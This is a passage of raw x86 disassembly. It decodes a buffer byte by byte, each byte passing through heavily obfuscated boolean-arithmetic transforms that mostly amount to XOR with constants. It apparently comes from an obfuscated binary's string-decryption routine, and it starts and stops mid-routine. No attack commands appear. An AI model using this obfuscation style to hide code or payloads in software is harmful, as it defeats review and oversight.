mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x12
sub bl, al
mov byte [0x4747f1], bl
mov al, byte [0x4745f2]
mov cl, al
or cl, cl
mov dl, cl
xor dl, 0xff
and dl, 2
and cl, 0xfd
or dl, cl
xor dl, 0xfd
or dl, 0x42
xor dl, 0xff
or al, 0xbd
xor al, 0xff
or dl, al
xor dl, 0xff
mov byte [0x4747f2], dl
mov al, byte [0x4745f3]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x6a
or al, 0x6a
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4747f3], dl
mov al, byte [0x4745f4]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0xc6
xor dl, 0xff
and al, 0x39
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4747f4], dl
mov al, byte [str.g30]
mov cl, al
and cl, 0x60
shl cl, 1
add al, 0x60
sub al, cl
mov byte [0x4747f5], al
mov al, byte [0x4745f6]
mov cl, al
xor cl, 0x34
mov ah, cl
xor ah, 0xff
and ah, 0x41
and cl, 0xbe
or ah, cl
xor ah, 0xbe
mov dl, ah
and dl, 0x34
xor dl, 0xff
and ah, 0x34
xor ah, 0xff
xor dl, 0xff
xor ah, 0xff
or dl, ah
shl dl, 1
sub dl, 0xf
sub dl, 0x34
add dl, 0xf
sub al, dl
mov byte [0x4747f6], al
mov al, byte [0x4745f7]
xor al, 0x37
mov byte [0x4747f7], al
mov al, byte [0x4745f8]
xor al, 0xdc
mov byte [0x4747f8], al
mov al, byte [0x4745f9]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xb9
or al, 0xb9
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4747f9], dl
mov al, byte [0x4745fa]
mov cl, al
xor cl, 0xff
and cl, 7
and al, 0xf8
or cl, al
mov byte [0x4747fa], cl
mov al, byte [0x4745fb]
xor al, 0x46
mov byte [0x4747fb], al
mov dl, byte [0x4745fc]
mov al, dl
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
and al, 0xc1
xor al, 0xff
and al, 0xff
or al, 0
xor dl, 0xff
or dl, 0xc1
xor al, 0xff
xor dl, 0xff
or al, dl
xor al, 0xff
and al, 0xff
mov cl, al
xor cl, 0xff
xor al, 0xff
and cl, al
or cl, 0
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
mov byte [0x4747fc], cl
mov al, byte [0x4745fd]
xor al, 0x9f
mov byte [0x4747fd], al
mov al, byte [0x4745fe]
xor al, 0x33
mov byte [0x4747fe], al
mov al, byte [0x4745ff]
mov cl, al
xor cl, 0xff
and cl, 0x79
and al, 0x86
or cl, al
xor cl, 0xa9
mov byte [0x4747ff], cl
mov al, byte [0x474600]
xor al, 0x4b
mov byte [0x474800], al
mov al, byte [0x474601]
xor al, 0x87
mov byte [0x474801], al
mov al, byte [0x474602]
xor al, 0x4e
mov byte [0x474802], al
mov al, byte [0x474603]
mov cl, al
xor cl, 0x4d
xor cl, 0xff
and cl, 0x4d
shl cl, 1
sub cl, 0x4d
sub al, cl
mov byte [0x474803], al
mov al, byte [0x474604]
xor al, 0x78
mov byte [0x474804], al
mov al, byte [0x474605]
mov cl, al
and cl, 0xff
shl cl, 1
mov ah, al
add ah, 0xff
sub ah, cl
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
mov dl, ah
and dl, cl
xor ah, cl
or dl, ah
xor dl, 0xff
or dl, 0xbb
mov cl, al
xor cl, 0xbb
xor cl, 0xff
or al, 0xbb
and al, cl
xor al, 0xff
xor al, 0xff
mov cl, dl
xor cl, al
and cl, dl
xor cl, 0xff
mov byte [0x474805], cl
mov cl, byte [0x474606]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0xaf
xor al, 0xff
and cl, 0x50
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x474806], al
mov al, byte [0x474607]
xor al, 0x85
mov byte [0x474807], al
mov bl, byte [0x474608]
mov dl, bl
xor dl, 0x58
xor dl, 0xff
and dl, 0x58
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x58
mov cl, bl
xor cl, 0xff
and cl, al
xor al, 0xff
and bl, al
sub bl, cl
mov byte [0x474808], bl
mov al, byte [0x474609]
mov cl, al
and cl, 0x1e
shl cl, 1
mov dl, al
add dl, 0x1e
sub dl, cl
xor dl, 0xff
and dl, 0x1e
shl dl, 1
sub dl, 0x1e
sub al, 0x8e
sub al, dl
add al, 0x8e
mov byte [0x474809], al
mov al, byte [0x47460a]
xor al, 0x98
mov byte [0x47480a], al
mov al, byte [0x47460b]
mov cl, al
and cl, cl
xor cl, 0xff
mov dl, al
add dl, dl
add dl, 1
add dl, cl
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
or ah, 0
xor ah, 0xff
or ah, 0
xor ah, 0xff
mov dl, ah
xor dl, 0xff
and dl, 0x28
xor ah, 0xff
and ah, 0x28
xor dl, 0xff
xor ah, 0xff
and dl, ah
and dl, dl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
or al, 0x28
xor al, 0xff
or dl, al
xor dl, 0xff
mov byte [0x47480b], dl
mov al, byte [0x47460c]
xor al, 0xae
mov byte [0x47480c], al
mov al, byte [0x47460d]
mov cl, al
xor cl, 0x73
xor cl, 0xff
and cl, 0x73
shl cl, 1
sub cl, 0x73
sub al, cl
mov byte [0x47480d], al
mov al, byte [0x47460e]
xor al, 0x13
mov byte [0x47480e], al
mov al, byte [0x47460f]
mov cl, al
xor cl, 0x17
xor cl, 0xff
and cl, 0x17
shl cl, 1
sub cl, 0x17
sub al, cl
mov byte [0x47480f], al
mov al, byte [0x474610]
xor al, 0x74
mov byte [0x474810], al
mov bl, byte [0x474611]
mov dl, bl
xor dl, 0x51
xor dl, 0xff
mov al, dl
xor al, 0x51
xor al, 0xff
or dl, 0x51
and dl, al
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0xae
add al, 1
sub bl, al
mov byte [0x474811], bl
mov al, byte [0x474612]
xor al, 0xdc
mov byte [0x474812], al
mov al, byte [0x474613]
mov cl, al
and cl, 0x50
shl cl, 1
add al, 0x50
sub al, cl
mov byte [0x474813], al
mov al, byte [0x474614]
xor al, 0xc9
mov byte [0x474814], al
mov al, byte [0x474615]
mov cl, al
and cl, 0x4b
shl cl, 1
add al, 0x4b
xor cl, 0xff
add al, cl
add al, 1
mov byte [0x474815], al
mov al, byte [0x474616]
xor al, 0xef
mov byte [0x474816], al
mov al, byte [0x474617]
xor al, 0xda
mov byte [0x474817], al
mov al, byte [0x474618]
xor al, 0xc7
mov byte [str.ySFw], al
mov al, byte [0x474619]
xor al, 0xc3
mov byte [0x474819], al
mov dl, byte [0x47461a]
mov al, dl
and al, al
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
and al, 0xe
xor al, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
or dl, 0xe
and al, dl
mov cl, al
xor cl, 0xff
xor al, 0xff
or cl, al
xor cl, 0xff
or cl, 0
xor cl, 0xff
or cl, 0
mov byte [0x47481a], cl
mov bl, byte [0x47461b]
mov al, bl
and al, al
xor al, 0xff
and al, 7
xor al, 0xff
mov cl, bl
and cl, 0xf8
xor cl, 0xff
and al, cl
xor al, 0xff
mov dl, al
xor dl, 0xff
and dl, 0x4e
and al, 0xb1
or dl, al
xor dl, 0xb1
and dl, 7
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x43
sub al, 7
add al, 0x43
xor al, 0xff
add bl, al
add bl, 1
mov byte [0x47481b], bl
mov al, byte [0x47461c]
xor al, 0x52
mov byte [0x47481c], al
mov al, byte [0x47461d]
mov cl, al
xor cl, 0xff
and cl, 0x52
and al, 0xad
or cl, al
xor cl, 0x99
mov byte [0x47481d], cl
mov al, byte [0x47461e]
xor al, 0x96
mov byte [0x47481e], al
mov dl, byte [0x47461f]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xac
mov cl, dl
and cl, 0x53
mov ah, dl
xor ah, 0xac
add dl, ah
sub dl, cl
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
xor al, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
or al, al
xor al, 0xff
or dl, dl
xor dl, 0xff
or al, dl
xor al, 0xff
mov byte [0x47481f], al
mov al, byte [0x474620]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xf
xor cl, 0xff
xor al, 0xff
or al, 0xf
and cl, al
xor cl, 0xff
mov byte [0x474820], cl
mov al, byte [0x474621]
mov cl, al
or cl, cl
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
mov cl, dl
and cl, 0xed
xor cl, 0xff
add dl, 0xed
add dl, 1
add dl, cl
xor dl, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
xor al, 0xff
or al, 0x12
xor al, 0xff
and al, 0xff
mov cl, dl
and cl, al
xor dl, al
or cl, dl
xor cl, 0xff
mov byte [0x474821], cl
mov al, byte [0x474622]
xor al, 0xc1
mov byte [0x474822], al
mov dl, byte [0x474623]
mov al, dl
xor al, 0xff
xor al, 0xff
or al, 0xd1
xor al, 0xff
and al, 0xff
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0xd1
add dl, cl
or al, dl
mov cl, al
and cl, 0x43
shl cl, 1
add al, 0x43
sub al, cl
mov byte [0x474823], al
mov bl, byte [0x474624]
mov dl, bl
xor dl, 0xef
xor dl, 0xff
and dl, 0xff
or dl, 0
and dl, 0xef
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0x6d
sub al, 0xef
sub al, 0x6d
sub bl, al
mov byte [0x474824], bl
mov al, byte [0x474625]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xf1
xor al, 0xff
or al, 0xf1
xor al, 0xff
and al, 0xff
mov ah, dl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, ah
and dh, 0x63
and dl, 0x9c
mov cl, bl
and cl, 0x63
and al, 0x9c
or dh, dl
or cl, al
xor dh, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or dh, ah
mov byte [0x474825], dh
mov dl, byte [0x474626]
mov cl, dl
xor cl, 0xff
mov al, dl
xor al, 0xff
or cl, al
xor cl, 0xff
mov ah, cl
xor ah, 0xff
mov al, ah
and al, 0x75
and cl, 0x8a
or al, cl
xor al, 0xfd
or ah, 0x77
xor ah, 0xff
and ah, 0xff
or al, ah
xor dl, 0xff
or dl, 0x77
xor dl, 0xff
and dl, 0xff
and dl, dl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and al, dl
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
mov byte [0x474826], al
mov al, byte [0x474627]
xor al, 0x11
mov byte [0x474827], al
mov al, byte [0x474628]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xc2
xor al, 0xff
and al, 0x3d
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474828], dl
mov al, byte [0x474629]
xor al, 0x2c
mov byte [0x474829], al
mov al, byte [0x47462a]
mov cl, al
xor cl, 0xff
and cl, 0x8d
and al, 0x72
or cl, al
mov byte [0x47482a], cl
mov al, byte [0x47462b]
xor al, 0xd6
mov byte [0x47482b], al
mov al, byte [0x47462c]
xor al, 0x72
mov byte [0x47482c], al
mov al, byte [0x47462d]
xor al, 0x44
mov byte [0x47482d], al
mov al, byte [0x47462e]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0x11
xor dl, 0xff
or al, 0xee
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47482e], dl
mov al, byte [0x47462f]
xor al, 0x23
mov byte [0x47482f], al
mov al, byte [0x474630]
mov cl, al
and cl, 0xfc
shl cl, 1
sub al, 4
sub al, cl
mov byte [0x474830], al
mov cl, byte [0x474631]
mov al, cl
xor al, 0xff
and al, 0x9d
mov dl, cl
xor dl, 0x9d
and dl, cl
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov byte [0x474831], al
mov al, byte [0x474632]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
mov cl, al
xor cl, 0xff
mov ah, dl
or ah, cl
xor ah, 0xff
xor dl, 0xff
xor cl, 0xff
and dl, cl
or ah, dl
xor ah, 0xff
mov cl, ah
add cl, 1
xor ah, 0xff
or ah, 0x52
add ah, cl
mov dl, ah
xor dl, 0xff
and dl, 0xef
and ah, 0x10
or dl, ah
xor dl, 0x10
xor al, 0xff
or al, 0x52
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, al
add dl, cl
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
mov byte [0x474832], dl
mov dl, byte [0x474633]
mov cl, dl
add cl, 1
mov al, dl
xor al, 0xff
or al, dl
add al, cl
xor al, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
or al, 0x34
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
or dl, 0xcb
xor al, 0xff
xor dl, 0xff
or al, dl
xor al, 0xff
and al, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x474833], al
mov dl, byte [str._rPKsl]
mov al, dl
and al, al
xor al, 0xff
and al, 0xa
xor al, 0xff
xor dl, 0xff
or dl, 0xa
mov cl, al
add cl, 1
xor al, 0xff
or al, dl
add al, cl
xor al, 0xff
and al, 0xff
or al, 0
mov byte [0x474834], al
mov al, byte [0x474635]
xor al, 0x57
mov byte [0x474835], al
mov cl, byte [0x474636]
mov al, cl
xor al, 0xff
and al, 0xef
mov dl, cl
xor dl, 0xef
and dl, cl
or al, dl
mov cl, al
and cl, 0xa3
shl cl, 1
add al, 0xa3
sub al, cl
mov byte [0x474836], al
mov al, byte [0x474637]
mov cl, al
xor cl, 0xff
and cl, 4
and al, 0xfb
or cl, al
xor cl, 0x70
mov byte [0x474837], cl
mov al, byte [0x474638]
xor al, 0x6b
mov byte [0x474838], al
mov al, byte [0x474639]
mov cl, al
xor cl, 0xff
and cl, 0x8b
mov dl, al
xor dl, 0x8b
and dl, al
or cl, dl
mov byte [0x474839], cl
mov al, byte [0x47463a]
xor al, 0x71
mov byte [0x47483a], al
mov cl, byte [0x47463b]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0xb9
xor al, 0xff
xor cl, 0xff
or cl, 0xb9
and al, cl
xor al, 0xff
mov byte [0x47483b], al
mov al, byte [0x47463c]
mov cl, al
xor cl, 0xbb
xor cl, 0xff
and cl, 0xbb
shl cl, 1
add cl, 0x44
add cl, 1
xor cl, 0xff
add al, cl
add al, 1
mov byte [0x47483c], al
mov al, byte [0x47463d]
xor al, 0xef
mov byte [0x47483d], al
mov dl, byte [0x47463e]
mov al, dl
xor al, 0xff
xor al, 0xff
or al, 0x88
xor al, 0xff
and al, 0xff
mov cl, dl
xor cl, 0xff
or cl, 0x77
xor dl, 0xff
or dl, 0x77
and cl, dl
xor cl, 0xff
or al, cl
mov byte [0x47483e], al
mov al, byte [0x47463f]
mov ah, al
and ah, ah
xor ah, 0xff
xor ah, 0xff
mov dl, ah
or dl, 0xe
xor dl, 0xff
xor ah, 0xff
and ah, 0xf1
xor dl, 0xff
xor ah, 0xff
and dl, ah
xor al, 0xff
or al, 0xf1
xor dl, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
or dl, al
mov byte [0x47483f], dl
mov al, byte [0x474640]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
mov ah, cl
xor ah, 0xff
xor cl, 0xff
or ah, cl
and dl, dl
xor dl, 0xff
xor ah, 0xff
xor dl, 0xff
or ah, dl
and ah, 0x57
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
xor al, 0xff
mov cl, al
and cl, 0x57
xor cl, 0xff
add al, 0x57
add al, 1
add al, cl
xor dl, 0xff
xor al, 0xff
mov cl, al
xor cl, 0xff
mov ah, dl
and ah, cl
mov cl, dl
xor cl, al
add dl, cl
sub dl, ah
mov byte [0x474840], dl
mov al, byte [0x474641]
xor al, 0xf8
mov byte [0x474841], al
mov al, byte [0x474642]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
and dl, 0xe9
xor dl, 0xff
xor dl, 0xff
xor al, 0xff
and al, 0x16
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
xor al, 0xff
xor al, 0xff
mov cl, dl
xor cl, al
and cl, dl
mov byte [0x474842], cl
mov bl, byte [0x474643]
mov al, bl
add al, 1
mov dl, bl
xor dl, 0xff
or dl, 0x60
add dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x60
sub bl, al
mov byte [0x474843], bl
mov dl, byte [0x474644]
mov al, dl
and al, al
xor al, 0xff
mov cl, dl
and cl, cl
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
or al, cl
xor al, 0xff
mov cl, al
and cl, 0xcf
mov ah, al
xor ah, 0x30
add al, ah
sub al, cl
xor al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
xor ah, 0xff
or ah, 0xcf
xor ah, 0xff
xor al, 0xff
mov cl, ah
xor cl, 0xff
and cl, 0xe6
and ah, 0x19
or cl, ah
xor cl, 0x19
and al, cl
mov byte [0x474844], al
mov al, byte [0x474645]
mov dl, al
xor dl, 0xff
and dl, 0x8a
mov cl, al
and cl, 0x75
or dl, cl
xor dl, 0xff
and dl, 0x8a
shl dl, 1
sub dl, 0x8a
xor ecx, ecx
sub cl, dl
add al, cl
mov byte [0x474845], al
mov al, byte [0x474646]
xor al, 0x6b
mov byte [0x474846], al
mov bl, byte [0x474647]
mov dl, bl
xor dl, 0xff
mov al, bl
xor al, 0xff
or dl, al
and dl, 0x17
xor dl, 0xff
mov al, bl
xor al, 0xff
or al, 0x17
xor dl, 0xff
xor al, 0xff
or dl, al
xor dl, 0xff
and dl, 0x17
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0x70
sub al, 0x17
sub al, 0x70
sub bl, al
mov byte [0x474847], bl
mov al, byte [0x474648]
xor al, 0x19
mov byte [0x474848], al
mov al, byte [0x474649]
mov dl, al
xor dl, 0xc9
xor dl, 0xff
and dl, 0xc9
shl dl, 1
mov cl, dl
xor cl, 0xc9
and dl, 0x36
shl dl, 1
sub dl, cl
sub al, dl
mov byte [0x474849], al
mov al, byte [0x47464a]
mov cl, al
xor cl, 0x7f
xor cl, 0xff
and cl, 0x7f
shl cl, 1
sub cl, 0x7f
sub al, cl
mov byte [0x47484a], al
mov al, byte [0x47464b]
xor al, 0x32
mov byte [0x47484b], al
mov cl, byte [0x47464c]
mov al, cl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0x26
shl al, 1
mov dl, cl
and dl, 0x26
or cl, 0x26
add dl, cl
add dl, 0xbd
sub dl, al
sub dl, 0xbd
mov byte [0x47484c], dl
mov bl, byte [0x47464d]
mov al, bl
xor al, 0xa0
xor al, 0xff
and al, 0xa0
shl al, 1
sub al, 0xa0
mov dl, bl
sub dl, al
xor dl, 0xff
and dl, 0xa0
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0x60
mov cl, bl
xor cl, 0xff
and cl, al
xor al, 0xff
and bl, al
sub bl, cl
mov byte [0x47484d], bl
mov dl, byte [0x47464e]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
mov cl, al
and cl, 0x2a
mov ah, al
xor ah, 0xd5
add al, ah
sub al, cl
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
or dl, 0x2a
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0x7b
and dl, 0x84
or cl, dl
xor cl, 0x84
and al, cl
mov byte [0x47484e], al
mov dl, byte [0x47464f]
mov al, dl
xor al, 0xff
and al, 0xe7
mov cl, dl
and cl, 0x18
or al, cl
xor al, 0x18
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xb8
or dl, 0xb8
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
xor al, 0xff
mov byte [0x47484f], al
mov al, byte [0x474650]
mov cl, al
and cl, 0x1c
shl cl, 1
mov dl, al
and dl, 0x1c
or al, 0x1c
add dl, al
sub dl, cl
mov byte [0x474850], dl
mov ah, byte [0x474651]
mov cl, ah
xor cl, 0xff
mov dl, ah
xor dl, 0xff
mov al, cl
and al, dl
xor cl, dl
or al, cl
and al, 0xb3
xor al, 0xff
mov dl, ah
xor dl, 0xff
and dl, 0x4f
and ah, 0xb0
or dl, ah
xor dl, 0xb0
or dl, 0xb3
mov ah, al
xor ah, 0xff
xor al, 0xff
and ah, al
mov al, dl
xor al, 0xff
xor dl, 0xff
and al, dl
or ah, al
xor ah, 0xff
xor ah, 0xff
mov byte [0x474851], ah
mov al, byte [0x474652]
mov cl, al
xor cl, 0x6b
xor cl, 0xff
mov dl, al
or dl, 0x6b
and dl, cl
shl dl, 1
add al, 0x6b
mov cl, al
xor cl, 0xff
and cl, dl
xor dl, 0xff
and al, dl
sub al, cl
mov byte [0x474852], al
mov al, byte [0x474653]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xa5
or al, 0xa5
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x474853], cl
mov al, byte [0x474654]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
or cl, 0xd4
xor cl, 0xff
shl cl, 1
add al, 0x2b
sub al, cl
mov byte [0x474854], al
mov cl, byte [0x474655]
mov al, cl
xor al, 0xff
and al, 0xff
or al, 0
and al, 0xb2
and cl, 0x4d
mov dl, cl
and dl, al
xor dl, 0xff
add al, cl
add al, 1
add al, dl
mov byte [0x474855], al
mov al, byte [0x474656]
xor al, 0xb6
mov byte [0x474856], al
mov bl, byte [0x474657]
mov al, bl
add al, 1
mov dl, bl
xor dl, 0xff
or dl, 0xd6
add dl, al
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xd6
sub bl, al
mov byte [0x474857], bl
mov bl, byte [0x474658]
mov dl, bl
xor dl, 0xa2
xor dl, 0xff
xor dl, 0xff
or dl, 0x5d
xor dl, 0xff
and dl, 0xff
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xa2
mov cl, bl
xor cl, al
xor al, 0xff
and bl, al
shl bl, 1
sub bl, cl
mov byte [0x474858], bl
mov bl, byte [0x474659]
mov dl, bl
xor dl, 0xff
or dl, 6
xor dl, 0xff
and dl, 0xff
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xf9
mov cl, bl
xor cl, al
xor al, 0xff
and bl, al
shl bl, 1
sub bl, cl
mov byte [0x474859], bl
mov al, byte [0x47465a]
mov cl, al
xor cl, cl
xor cl, 0xff
mov dl, al
or dl, dl
and dl, cl
xor dl, 0xff
and dl, 0xb2
xor dl, 0xff
xor al, 0xff
or al, 0xb2
mov cl, dl
xor cl, al
xor cl, 0xff
or dl, al
and dl, cl
xor dl, 0xff
mov byte [0x47485a], dl
mov al, byte [0x47465b]
mov cl, al
xor cl, 0xff
and cl, 0xfa
and al, 5
or cl, al
xor cl, 0x9a
mov byte [0x47485b], cl
mov al, byte [0x47465c]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0xc6
xor dl, 0xff
or al, 0x39
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47485c], dl
mov bl, byte [0x47465d]
mov dl, bl
and dl, dl
xor dl, 0xff
and dl, 0x66
xor dl, 0xff
mov al, bl
and al, 0x99
xor al, 0xff
and dl, al
xor dl, 0xff
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
and dl, 0x66
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, al
xor cl, 0x66
and al, 0x99
shl al, 1
sub al, cl
sub bl, al
mov byte [0x47485d], bl
mov al, byte [0x47465e]
xor al, 8
mov byte [0x47485e], al
mov al, byte [0x47465f]
mov cl, al
xor cl, 0xff
and cl, 0x90
and al, 0x6f
or cl, al
xor cl, 0x20
mov byte [0x47485f], cl
mov al, byte [0x474660]
xor al, 0x1c
mov byte [0x474860], al
mov al, byte [0x474661]
xor al, 0xcb
mov byte [0x474861], al
mov al, byte [0x474662]
xor al, 0x5d
mov byte [0x474862], al
mov al, byte [0x474663]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x98
xor al, 0xff
and al, 0x67
mov cl, dl
xor cl, 0xff
and cl, 0xf8
and dl, 7
or cl, dl
xor cl, 7
xor al, 0xff
and cl, al
mov byte [0x474863], cl
mov bl, byte [0x474664]
mov al, bl
and al, 0x37
shl al, 1
mov dl, bl
add dl, 0x37
sub dl, al
xor dl, 0xff
xor dl, 0xff
xor dl, 0x37
and dl, 0x37
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x37
sub bl, al
mov byte [0x474864], bl
mov al, byte [0x474665]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x8d
xor al, 0xff
and al, 0x72
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474865], dl
mov al, byte [0x474666]
mov cl, al
and cl, 0x10
shl cl, 1
add al, 0x10
sub al, cl
mov byte [0x474866], al
mov bl, byte [0x474667]
mov dl, bl
and dl, 0xa1
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, bl
and cl, 0xa1
shl cl, 1
xor bl, 0xa1
add bl, cl
mov cl, bl
xor cl, 0xff
and cl, al
xor al, 0xff
and bl, al
sub bl, cl
mov byte [0x474867], bl
mov al, byte [0x474668]
xor al, 0x8c
mov byte [0x474868], al
mov al, byte [0x474669]
xor al, 0x26
mov byte [0x474869], al
mov al, byte [0x47466a]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
mov cl, al
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
and dl, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
and dl, 0x36
or al, 0x36
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov cl, dl
or cl, al
xor cl, 0xff
or dl, al
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
